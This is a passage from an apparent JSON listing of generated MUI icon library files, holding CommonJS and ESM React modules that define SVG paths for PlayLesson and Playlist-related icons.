    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.34 0 .67.03 1 .08V2H3v20h9.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M7 11V4h5v7L9.5 9.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m-1.25 7.5v-5l4 2.5z\"\n}, \"1\")], 'PlayLessonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayLessonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4v7L9.5 9.5 7 11V4H5v16h6.29c-.19-.63-.29-1.3-.29-2 0-3.53 2.61-6.43 6-6.92V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20V4h2v7l2.5-1.5L12 11V4h5v7.08c.33-.05.66-.08 1-.08s.67.03 1 .08V4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h7.26c-.42-.6-.75-1.28-.97-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m-1.25 7.5v-5l4 2.5z\"\n}, \"2\")], 'PlayLessonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlayLessonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4v7L9.5 9.5 7 11V4H5v16h6.29c-.19-.63-.29-1.3-.29-2 0-3.53 2.61-6.43 6-6.92V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20V4h2v7l2.5-1.5L12 11V4h5v7.08c.33-.05.66-.08 1-.08s.67.03 1 .08V4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h7.26c-.42-.6-.75-1.28-.97-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m-1.25 7.5v-5l4 2.5z\"\n}, \"2\")], 'PlayLessonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10H3v2h11zm0-4H3v2h11zm4 8v-4h-2v4h-4v2h4v4h2v-4h4v-2zM3 16h7v-2H3z\"\n}), 'PlaylistAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10H3v2h11zm0-4H3v2h11zm4 8v-4h-2v4h-4v2h4v4h2v-4h4v-2zM3 16h7v-2H3z\"\n}), 'PlaylistAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\"\n}), 'PlaylistAddCheckCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\"\n}), 'PlaylistAddCheckCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2 8H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-1.59L17.59 12l-3.54 3.54-1.41-1.41-1.41 1.41 2.83 2.83z\"\n}), 'PlaylistAddCheckCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2 8H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-1.59L17.59 12l-3.54 3.54-1.41-1.41-1.41 1.41 2.83 2.83z\"\n}), 'PlaylistAddCheckCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 8c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m0 3c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m3 3c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1h1c.55 0 1 .45 1 1m8.29.12-3.54 3.54c-.39.39-1.02.39-1.41 0l-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.39 1.02-.39 1.41 0 .39.38.39 1.01 0 1.4\"\n}), 'PlaylistAddCheckCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 8c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m0 3c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m3 3c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1h1c.55 0 1 .45 1 1m8.29.12-3.54 3.54c-.39.39-1.02.39-1.41 0l-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.39 1.02-.39 1.41 0 .39.38.39 1.01 0 1.4\"\n}), 'PlaylistAddCheckCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\"\n}), 'PlaylistAddCheckCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\"\n}), 'PlaylistAddCheckCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2 8H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-1.59L17.59 12l-3.54 3.54-1.41-1.41-1.41 1.41 2.83 2.83z\"\n}, \"1\")], 'PlaylistAddCheckCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M7 7h7v2H7zm0 3h7v2H7zm3 5H7v-2h3zm4.05 3.36-2.83-2.83 1.41-1.41 1.41 1.41L17.59 12 19 13.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2 8H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-1.59L17.59 12l-3.54 3.54-1.41-1.41-1.41 1.41 2.83 2.83z\"\n}, \"1\")], 'PlaylistAddCheckCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-4H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M3 16h6c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m19.21-3.79.09.09c.39.39.39 1.02 0 1.41l-5.58 5.59c-.39.39-1.02.39-1.41 0l-3.09-3.09a.996.996 0 0 1 0-1.41l.09-.09c.39-.39 1.02-.39 1.41 0l2.3 2.3 4.78-4.79c.38-.4 1.02-.4 1.41-.01\"\n}), 'PlaylistAddCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-4H3c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M3 16h6c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m19.21-3.79.09.09c.39.39.39 1.02 0 1.41l-5.58 5.59c-.39.39-1.02.39-1.41 0l-3.09-3.09a.996.996 0 0 1 0-1.41l.09-.09c.39-.39 1.02-.39 1.41 0l2.3 2.3 4.78-4.79c.38-.4 1.02-.4 1.41-.01\"\n}), 'PlaylistAddCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10h11v2H3zm0-4h11v2H3zm0 8h7v2H3zm17.59-2.07-4.25 4.24-2.12-2.12-1.41 1.41L16.34 19 22 13.34z\"\n}), 'PlaylistAddCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm3 8H7v-2h3zm-3-3v-2h7v2zm12 3h-2v2h-2v-2h-2v-2h2v-2h2v2h2z\"\n}), 'PlaylistAddCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm3 8H7v-2h3zm-3-3v-2h7v2zm12 3h-2v2h-2v-2h-2v-2h2v-2h2v2h2z\"\n}), 'PlaylistAddCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m2-10H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-2v2h-2v2h-2v-2h-2v-2h2v-2h2v2z\"\n}), 'PlaylistAddCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m2-10H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-2v2h-2v2h-2v-2h-2v-2h2v-2h2v2z\"\n}), 'PlaylistAddCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 8c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m3 6c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1h1c.55 0 1 .45 1 1m-2-2c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1zm10 3h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'PlaylistAddCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 8c0-.55.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1m3 6c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1h1c.55 0 1 .45 1 1m-2-2c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1zm10 3h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'PlaylistAddCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm3 8H7v-2h3zm-3-3v-2h7v2zm12 3h-2v2h-2v-2h-2v-2h2v-2h2v2h2z\"\n}), 'PlaylistAddCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7 7h7v2H7zm3 8H7v-2h3zm-3-3v-2h7v2zm12 3h-2v2h-2v-2h-2v-2h2v-2h2v2h2z\"\n}), 'PlaylistAddCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M7 7h7v2H7zm3 8H7v-2h3zm-3-3v-2h7v2zm10 3v2h-2v-2h-2v-2h2v-2h2v2h2v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m2-10H7v2h7zm0-3H7v2h7zm-7 8h3v-2H7zm12-2v2h-2v2h-2v-2h-2v-2h2v-2h2v2z\"\n}, \"1\")], 'PlaylistAddCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaylistAddCircleTwoTone.mjs",
